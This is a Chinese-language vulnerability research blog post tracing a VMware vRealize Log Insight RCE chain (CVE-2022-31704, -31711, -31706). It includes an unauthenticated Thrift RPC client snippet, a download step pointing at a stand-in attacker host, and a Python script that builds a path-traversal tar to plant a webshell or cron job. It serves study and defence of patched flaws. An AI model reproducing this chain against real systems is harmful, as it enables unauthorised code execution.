VMware-vRealize-Log-Insight-CVE漏洞追踪

23年1月份,vmware官方发布了开年第一份安全通告VMSA-2023-0001,修复了VMware-vRealize-Log-Insight 产品中的4个漏洞,其中CVE-2022-31704、CVE-2022-31711、CVE-2022-31706可组合达到rce的效果。近期相关厂商公布了漏洞的细节及检测的POC,我也将当时的分析思路整理脱敏成文发出来。当中涉及到了Apache thrift、rpc调用、python tarfile解压目录穿越等知识。本文不提供任何与漏洞相关的POC及EXP,文章仅用于技术交流,请勿用于非法用途!

本文涉及的全部漏洞,官方均已完全修复,产品所属厂商也已发布安全公告及修复版本

安全公告:https://www.vmware.com/security/advisories/VMSA-2023-0001.html

修复版本: VMware vRealize Log Insight 8.10.2,地址:https://customerconnect.vmware.com/downloads/details?downloadGroup=VRLI-8102&productId=1351

PS:本文仅用于技术讨论。严禁用于任何非法用途,违者后果自负。

1、环境部署

官方下载VMware-vRealize-Log-Insight-8.10.0.0-20623770_OVF10.ova,导入vmware启动部署

https://192.168.232.200/admin/startup?view=deployment

保存配置下一步后成功启动

搭建成功

2、环境调试

与其它环境无差别,找启动脚本,添加调试配置后重新启动

修改启动脚本:/usr/lib/loginsight/application/sbin/loginsight-daemon.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1、将这几行注释
#if [ -z "${STRATA_PGID}" ]; then
# echo "Cannot determine Strata service process group ID." > /dev/stderr
# exit 1
#fi

2、添加调试语句
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 \

3、kill掉进程并重启
netstat -anltp|grep 16520
kill -9 pid
[/usr/lib/loginsight/application/sbin]#./loginsight-daemon.sh

4、上述操作完等几分钟就能看到16520、5005端口都开起来了,iptables放行端口
iptables -A INPUT -p tcp --dport 5005 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 5005 -j ACCEPT

idea远程调试连接即可

3、官方公告

https://www.vmware.com/security/advisories/VMSA-2023-0001.html

一共4个漏洞

CVE-2022-31706 目录遍历

CVE-2022-31704 失效的访问控制

CVE-2022-31710 反序列化,可能导致拒绝服务

CVE-2022-31711 信息泄露,可收集敏感会话和应用程序信息

漏洞版本:8.10.0、安全修复版本:8.10.2,以下分析都是基于VMware-vRealize-Log-Insight-8.10.0.0-20623770版本

4、漏洞追踪

由于没授权下载不到漏洞对应的补丁包,没法直接从修复方案入手。从horizon3的https://www.horizon3.ai/vmware-vrealize-cve-2022-31706-iocs/ 看到有几个关键词:端口16520-16580、thrift、tar、pak

根据Apache thrift官方出的示例:https://thrift.apache.org/tutorial/java.html 完整的一次RPC调用过程存在client、server、handler几个关键类( https://gitbox.apache.org/repos/asf?p=thrift.git;a=tree;f=tutorial/java/src;hb=HEAD )。方法的定义在Iface接口中、方法的实现在handler类中,开发者可以通过编写**.thrift文件**生成client、server类代码;也可以根据实例编写client及server类。本次复现漏洞只需要client类能够调用目标方法即可,所以参考示例写了一个client类(见后文)

pid为16520的java进程启动参数:

1
2
3
4
5
/usr/lib/loginsight/application/3rd_party/bin/java -Xrs -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/storage/core/loginsight/var/heapdump/li_heapdump.hprof -XX:ErrorFile=/storage/core/loginsight/var/jvm_hs_err_pid.log 
-Djava.util.logging.config.level=SEVERE -Djdk.tls.ephemeralDHKeySize=2048
-Dorg.bouncycastle.fips.approved_only=false -Djavax.net.ssl.trustStorePassword=changeit -Djdk.http.auth.tunneling.disabledSchemes="" -DLOGINSIGHT_HOME=/usr/lib/loginsight -Dstrata.pgid=2020 -cp /usr/lib/loginsight/application/lib/*
-Xmx3988m -Xms3988m -Xss256k -Xmn1024M -XX:+UseConcMarkSweepGC -XX:+UseParNewGC -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -XX:+ScavengeBeforeFullGC -XX:TargetSurvivorRatio=80 -XX:SurvivorRatio=8 -XX:MaxTenuringThreshold=15 -XX:ParallelGCThreads=4 -XX:+UseCompressedOops -XX:+OptimizeStringConcat -XX:+AlwaysPreTouch -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 com.vmware.loginsight.daemon.LogInsightDaemon
--wait=120

启动类为com.vmware.loginsight.daemon.LogInsightDaemon,定义在/application/lib/daemon-service-li.jar中,看main方法的代码:前面进行一系列config配置,最后进入同类下的run方法进行启动

com.vmware.loginsight.daemon.LogInsightDaemon#run调用同类下的startThriftServer启动服务

这里传入DaemonCommandsHandler对象,这个类就是我们上面提到的handler类,其实现了Iface接口

客户端可调用的方法都在Iface接口中定义,而在DaemonCommandsHandler类中实现方法逻辑

那么我们就可以猜测 CVE-2022-31704 访问控制失效漏洞指的是未授权用户可以rpc调用服务端提供的方法!先测试下

按照官网提供的示例代码( https://thrift.apache.org/tutorial/java.html ),自己写一个client调用下getClusterCertificate方法

1
2
3
4
5
6
7
TTransport transport;
transport = new TSocket("192.168.232.200", 16520);
transport.open();
TProtocol protocol = new TBinaryProtocol(transport);
DaemonCommands.Client client = new DaemonCommands.Client(protocol);
System.out.println(client.getClusterCertificate());;
transport.close();

发现报错Socket is closed by peer,根据https://blog.csdn.net/xiaoyaoxiaozi007/article/details/107323857 加上TTransport tTransport = new TFramedTransport(transport);解决了。成功拿到getClusterCertificate方法的执行返回结果

接着看如何实现RCE,horizon3提到日志中download、pak相关内容,经检索反编译后代码定位到com.vmware.loginsight.daemon.commands.SystemCommands#remotePakDownloadCommand

往上回溯到com.vmware.loginsight.daemon.DaemonCommandsHandler#requestCommand中有调用,而此方法在thrift client可以直接调用

传入的参数类型是com.vmware.loginsight.daemon.protocol.commands.RemotePakDownloadCommand,需要设置属性requestUrl(下载路径)、fileName(本地保存文件名)、sourceNodeToken(节点token值)。先检查token是否一致,如果一致则系统从远端拉取文件保存至/tmp/目录,中间未对文件及地址进行检查

那这里的token从哪里取呢,答案也是通过thrift client调用方法进行获取。从上往下依次查看可获取信息的方法,发现get*方法可以拿到nodeToken

拿到之后,我们就可以继续调用RemotePakDownloadCommand,需要设置Command#commandType、Command#remotePakDownloadCommand两个属性值

根据如上信息,编写thrift client调用requestCommand方法,成功请求我们传入的外部地址

因为我们还没制作满足格式要求的pak文件,所以显示404。RemotePakDownloadCommand方法仅仅是将pak文件下载到本地/tmp目录,要完成RCE 还需要解压释放操作。再次查看thrift client可调用的方法中关于pak的操作,还有个com.vmware.loginsight.daemon.commands.SystemCommands#pakUpgradeCommand方法,跟进查看下,该方法根据客户端传入参数,最终调用/opt/vmware/bin/loginsight-pak-upgrade脚本执行解压操作

/opt/vmware/bin/loginsight-pak-upgrade又调用了/usr/lib/loginsight/application/sbin/loginsight-pak-upgrade.py进行处理

看脚本的usage,确实是处理pak文件的

而这里又涉及了python tarfile 第三方库的目录穿越漏洞。简单总结:CVE-2022-31706 漏洞的本质是loginsight-pak-upgrade.py直接调用tarfile库的extractall/extract方法提取文件而未进行过滤操作,该库曾爆出过CVE-2007-4559漏洞:未对文件名中的../进行安全限制导致提权tar文件时可以目录遍历、文件覆盖。CVE-2022-31706漏洞正是利用了此”特性”最终导致攻击者可以覆盖、创建webshell或Linux cron计划任务以获取系统权限

跟下loginsight-pak-upgrade.py代码逻辑:脚本根据程序传入的–eula参数决定是进入“license操作”(圈1)还是进入”执行升级”操作(圈2、圈3)。在“license操作”流程中,系统只提取pak中的.mf .cert .txt文件。而在”执行升级”流程中,会提取pak中包含的所有文件,后者符合我们对于漏洞利用的预期

触发点在/application/sbin/loginsight-pak-upgrade.py:378#extractFiles

而想要调用到extractall方法需要满足如下4个条件,第一个可以通过rpc调用方法时设置eulaOnly参数来控制,而后面3个都是对pak文件的格式要求

1
2
3
4
1、mode != MODE.LICENSE
2、传入的pak包文件要求:integrityCheck()
3、传入得证书、签名可通过校验:verifyCertificate()、validateSignature()、
4、传入得mf文件通过校验:manifest.checkSupportVersion()、manifest.checkDiskSpace()

依次分析下条件,/application/sbin/loginsight-pak-upgrade.py:integrityCheck()对传入pak中得文件进行校验,需要pak包中包含VMware-vRealize-Log-Insight.mf、VMware-vRealize-Log-Insight.cert、upgrade-driver、eula.txt、*.rpm文件。挨个对照格式制作文件比较复杂,我在官网直接下载了VMware-vRealize-Log-Insight-8.10.2-21145187.pak,里面得文件就可以满足上面的3个条件

在系统中中随意找了比较小的rpm文件,大小为100k 传输起来方便一些,这样5个必需的文件都准备好了

使用tarfile库制作一个evil tar文件,data是最终写入的文件内容,gen.filename是最终要覆盖的路径信息。运行后会生成exp.tar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#genTar.py
import tarfile

class GenTarFileTest:
def __init__(self):
self.filename = None

def change_name(self, tarinfo):
tarinfo.name = self.filename
return tarinfo

def compress(self, name):
with tarfile.open("exp.tar", "w") as tar:
tar.add(name, filter=self.change_name)
tar.add("VMware-vRealize-Log-Insight.cert")
tar.add("VMware-vRealize-Log-Insight.mf")
tar.add("kexec-tools-2.0.3-0.15.18.x86_64.rpm")
tar.add("upgrade-driver")
tar.add("eula.txt")

FilePath = "/xxx/xxx"
gen = GenTarFileTest()
gen.filename = "../../../../"+FilePath
gen.compress("data")


#data
xxx

然后使用上面提到的rpc方法RemotePakDownloadCommand(地址为evil.host/exp.tar)、pakUpgradeCommand方法(设置eulaOnly、fileName参数)即可完成利用

jsp文件位置,懂:

纪念与好兄弟蜗牛哥一起熬夜肝洞的夜晚

5、文章参考

https://www.vmware.com/security/advisories/VMSA-2023-0001.html

https://thrift.apache.org/tutorial/java.html

https://www.trellix.com/en-us/about/newsroom/stories/research/tarfile-exploiting-the-world.html

https://www.horizon3.ai/vmware-vrealize-cve-2022-31706-iocs/


VMware-vRealize-Log-Insight-CVE漏洞追踪
https://pwnull.github.io/2023/Research-VMware-vRealize-Log-Insight-CVE-vulnerability/
作者
pwnull
发布于
2023年2月2日
许可协议